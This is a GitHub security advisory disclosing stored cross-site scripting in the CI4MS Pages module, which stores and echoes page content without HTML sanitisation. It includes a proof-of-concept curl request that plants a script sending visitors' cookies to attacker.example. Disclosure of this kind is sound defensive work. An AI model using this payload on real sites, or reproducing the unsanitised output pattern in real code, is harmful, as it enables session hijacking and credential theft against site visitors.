GitHub Security Advisory: GHSA-fjpj-6qcq-6pw2
Package: ci4-cms-erp/ci4ms (COMPOSER)
Severity: MODERATE (CVSS 5.5)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 0.31.3.0
Patched in: 0.31.4.0

Summary: CI4MS has stored XSS in Pages Content Due to Missing html_purify Sanitization

Details:
## Summary

The Pages module does not apply the `html_purify` validation rule to content fields during create and update operations, while the Blog module does. Page content is stored unsanitized in the database and rendered as raw HTML on the public frontend via `echo $pageInfo->content`. An authenticated admin with page-editing privileges can inject arbitrary JavaScript that executes in the browser of every public visitor viewing the page.

## Details

The Blog module correctly applies HTMLPurifier sanitization to content fields:

**`modules/Blog/Controllers/Blog.php:82`**
```php
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required|html_purify'],
```

The Pages module omits this rule in both create and update methods:

**`modules/Pages/Controllers/Pages.php:82`** (create)
```php
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],
```

**`modules/Pages/Controllers/Pages.php:130`** (update)
```php
'lang.*.content' => ['label' => lang('Backend.content'), 'rules' => 'required'],
```

Content is stored directly without sanitization:

**`modules/Pages/Controllers/Pages.php:111`** (create path)
```php
'content' => $lData['content'],
```

**`modules/Pages/Controllers/Pages.php:157`** (update path)
```php
'content' => $lData['content'],
```

On the public frontend, the content is rendered as raw HTML without escaping:

**`app/Views/templates/default/pages.php:32`**
```php
<?php echo $pageInfo->content ?>
```

Note that the same template correctly escapes the title field on line 9 using `esc($pageInfo->title)`, further confirming the content output is an oversight.

The `html_purify` custom validation rule is defined in `modules/Backend/Validation/CustomRules.php:54-73` and uses the HTMLPurifier library to strip dangerous HTML (script tags, event handlers) while preserving safe rich content. Its absence from the Pages validation is the root cause.

## PoC

**Step 1: Create a page with XSS payload (requires admin session)**
```bash
curl -X POST https://target/backend/pages/create \
  -b 'ci_session=ADMIN_SESSION_COOKIE' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'lang[tr][title]=Test+Page&lang[tr][seflink]=test-xss-page&lang[tr][content]=<p>Normal+content</p><script>document.location="https://attacker.example/?c="%2Bdocument.cookie</script>&isActive=1'
```

**Step 2: Visit the page as any unauthenticated user**
```
https://target/tr/test-xss-page
```

**Expected result:** The `<script>` tag executes in the visitor's browser, sending their cookies to the attacker-controlled server.

## Impact

- **Session hijacking:** Attacker steals session cookies of any visitor, including other administrators
- **Credential theft:** Injected JavaScript can render fake login forms or keylog credentials
- **Site defacement:** Arbitrary HTML/JS can modify the public-facing page for all visitors
- **Malware distribution:** Injected scripts can redirect visitors or load external payloads

The attack r